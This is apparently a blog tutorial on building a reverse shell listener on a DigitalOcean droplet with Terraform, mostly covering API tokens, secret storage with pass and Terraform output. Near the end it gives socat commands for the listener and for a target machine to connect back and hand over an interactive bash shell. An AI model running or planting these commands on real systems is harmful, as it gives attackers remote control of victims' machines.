Reverse Shell in the DigitalOcean with Terraform

8 minute read

What are you setting up?

A reverse shell listener in the cloud with a public IP I can connect to, that allows me public key access (i.e. using my ssh key) to the virtual machine automatically, all using terraform.


Sometimes for work engagements I need a remote reverse shell setup that I can quickly fire up and have ready for incoming connections from some random target machine.


Full credit for this post goes to Daniel Vigueras blog post on setting up a Digital Ocean droplet for a webserver using Terraform.

I’ve just hacked his code around for my own purposes, so if you want a droplet with more stuff running/allowed, check out the git repo on his blog.

I will document what I did to setup my reverse shell virtual machine, and link to my terraform code in github.

This is DigitalOcean specific, so you will need a DigitalOcean account.

DigitalOcean Setup

GitHub Repo

Clone this [do-reverse-shell] repo with the terraform code first:

$ git clone

API Token

Create a Personal Access Token to give terraform permission to create things in your DigitalOcean account via the DigitalOcean API

In DigitalOcean, go to mene API then Tokens/Keys and you’ll see Personal access tokens:

api token

Click Generate New Token and then copy that generated token to a safe place for setup later.


In DigitalOcean, go to Settings in the side menu, then Security tab.

You will see a list of your uploaded keys under SSH keys. If you already have a ssh key you want to use already uploaded you just need to copy the fingerprint for that key

e.g. looks like this 38:a1:7d:07:ac:96:3d:74:2d:98:9f:6b:d3:08:fb:3a

If you don’t already have a key you need to create one locally and then click on Add SSH Key button on this page to paste the ssh-key content.

add ssh key

There’s plenty of “how to generate ssh keys” how-to’s out there, and also the Add SSH Key button documents it in the side bar (see screenshot).

Save the SSH key fingerprint somewhere for setup later.

Local Secrets Management

The problem with handling secrets is you don’t want them

  • saved to github
  • stored in plain text
  • logged in your bash history

So how do you use secrets without leaving a trace of them somewhere?

In this blog, we’re going to use a tool called pass on Linux (thanks Gruntworks).

install pass

cli: sudo apt install -y pass

create your gpg key

pass needs a gpg key to encrypt where it stores your entries, so run this and go through the questions to setup a gpg key (remember your password!)

cli: gpg --full-generate-key

check your new gpg key details with

cli: gpg --list-keys


$ gpg --list-keys
pub   rsa3072 2021-06-24 [SC]
uid           [ultimate] Ron Amosa (local pass dev) <[email protected]>
sub   rsa3072 2021-06-24 [E]

initialize pass

your pass secret manager needs to be initialized with the gpg key-id (id for mine is Ron Amosa)

$ pass init Ron Amosa
Password store initialized for Ron, Amosa

add API key

now that our pass store is initialized, we can store our DigitalOcean API key here using pass insert...

$ pass insert dotoken
Enter password for dotoken: # paste token in here
Retype password for dotoken: # paste token in here

now your ssh fingerprint

environment variables

setup your TF_VAR_ variables like this so when you run terraform it will grab the values from the shell environment

$ export TF_VAR_do_token=$(pass dotoken)

you can setup your SSH key fingerprint here as well by doing the following in your shell


$ export TF_VAR_ssh_fingerprint=a5:20:d7:1a:51:83:17:bc:2d:0c:4b:51:26:ac:42:15


If you haven’t already, download the terraform code from github.

After setting your environment variables with export... commands in your shell above, initialize the terraform code

$ terraform init

Initializing the backend...

Initializing provider plugins...
- Finding digitalocean/digitalocean versions matching "~> 2.0"...
- Installing digitalocean/digitalocean v2.9.0...
- Installed digitalocean/digitalocean v2.9.0 (signed by a HashiCorp partner, key ID F82037E524B9C0E8)

Partner and community providers are signed by their developers.
If you'd like to know more about provider signing, you can read about it here:

Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

you can run a terraform plan if you want, but I just go straight to the apply

$ terraform apply

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols:
  + create

Terraform will perform the following actions:

  # will be created
  + resource "digitalocean_droplet" "shell" {
      + backups              = false
      + created_at           = (known after apply)
      + disk                 = (known after apply)
      + id                   = (known after apply)
      + image                = "ubuntu-20-04-x64"
      + ipv4_address         = (known after apply)
      + ipv4_address_private = (known after apply)
      + ipv6                 = false
      + ipv6_address         = (known after apply)
      + locked               = (known after apply)
      + memory               = (known after apply)
      + monitoring           = false
      + name                 = "reverse-shell"
      + price_hourly         = (known after apply)
      + price_monthly        = (known after apply)
      + private_networking   = true
      + region               = "sfo3"
      + resize_disk          = true
      + size                 = "s-1vcpu-1gb"
      + ssh_keys             = [
          + "b1:67:14:94:7a:8e:9a:a7:01:62:1d:d0:ef:e0:e8:64",
      + status               = (known after apply)
      + urn                  = (known after apply)
      + vcpus                = (known after apply)
      + volume_ids           = (known after apply)
      + vpc_uuid             = (known after apply)

  # will be created
  + resource "digitalocean_firewall" "shell" {
      + created_at      = (known after apply)
      + droplet_ids     = (known after apply)
      + id              = (known after apply)
      + name            = "allow-ssh-reverse-port"
      + pending_changes = (known after apply)
      + status          = (known after apply)

      + inbound_rule {
          + port_range                = "22"
          + protocol                  = "tcp"
          + source_addresses          = [
              + "",
              + "::/0",
          + source_droplet_ids        = []
          + source_load_balancer_uids = []
          + source_tags               = []
      + inbound_rule {
          + port_range                = "6666"
          + protocol                  = "tcp"
          + source_addresses          = [
              + "",
              + "::/0",
          + source_droplet_ids        = []
          + source_load_balancer_uids = []
          + source_tags               = []

      + outbound_rule {
          + destination_addresses          = [
              + "",
              + "::/0",
          + destination_droplet_ids        = []
          + destination_load_balancer_uids = []
          + destination_tags               = []
          + port_range                     = "1-65535"
          + protocol                       = "tcp"
      + outbound_rule {
          + destination_addresses          = [
              + "",
              + "::/0",
          + destination_droplet_ids        = []
          + destination_load_balancer_uids = []
          + destination_tags               = []
          + port_range                     = "1-65535"
          + protocol                       = "udp"

Plan: 2 to add, 0 to change, 0 to destroy.

Changes to Outputs:
  + public_ipv4_address = (known after apply)

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes Creating... Still creating... [10s elapsed] Still creating... [20s elapsed] Still creating... [30s elapsed] Creation complete after 39s [id=252089607] Creating... Creation complete after 2s [id=e23f9013-32b4-47db-920b-757dbcd6187f]

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.


public_ipv4_address = ""

see that public_ipv4_address? ssh into that as root

ssh [email protected]

The authenticity of host ' (' cant be established.
ECDSA key fingerprint is SHA256:FckBzM+UGjEA5dDW+DXf2MMRgm+Y65xbuH0dtPVc464.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Fri Jun 25 09:15:34 UTC 2021

  System load:  0.03              Users logged in:       0
  Usage of /:   5.8% of 24.06GB   IPv4 address for eth0:
  Memory usage: 19%               IPv4 address for eth0:
  Swap usage:   0%                IPv4 address for eth1:
  Processes:    103

16 updates can be applied immediately.
5 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ [email protected]:~# 

$ update, upgrade and install socat

$ apt update -y && apt-upgrade -y
$ apt install -y socat

reverse shell hx0r

An attacker will run this socat command in the DigitalOcean droplet:

$ socat file:`tty`,raw,echo=0 tcp-listen:6666

This is where the target shell will get forwarded to when it connects i.e. you will run commands on the victims machine, from here.

reverse shell target

Your goal is to get this socat command running on your target’s machine:

$ socat tcp: exec:"bash -i",pty,stderr,setsid,sigint,sane

Obviously, change the ip address to your DigitalOcean virtual machine from above.

example socat reverse shell

In the screenshot, the top terminal is the attacker ssh’ing into the digital ocean vm, and running the socat listener. In the bottom terminal is the victim or target machine, running a socat command to connect back to the attacker shell (listening on port 6666).

When the connection is successful, the attacker machine drops into a shell of the victims machine and is able to run commands from there.


Have fun.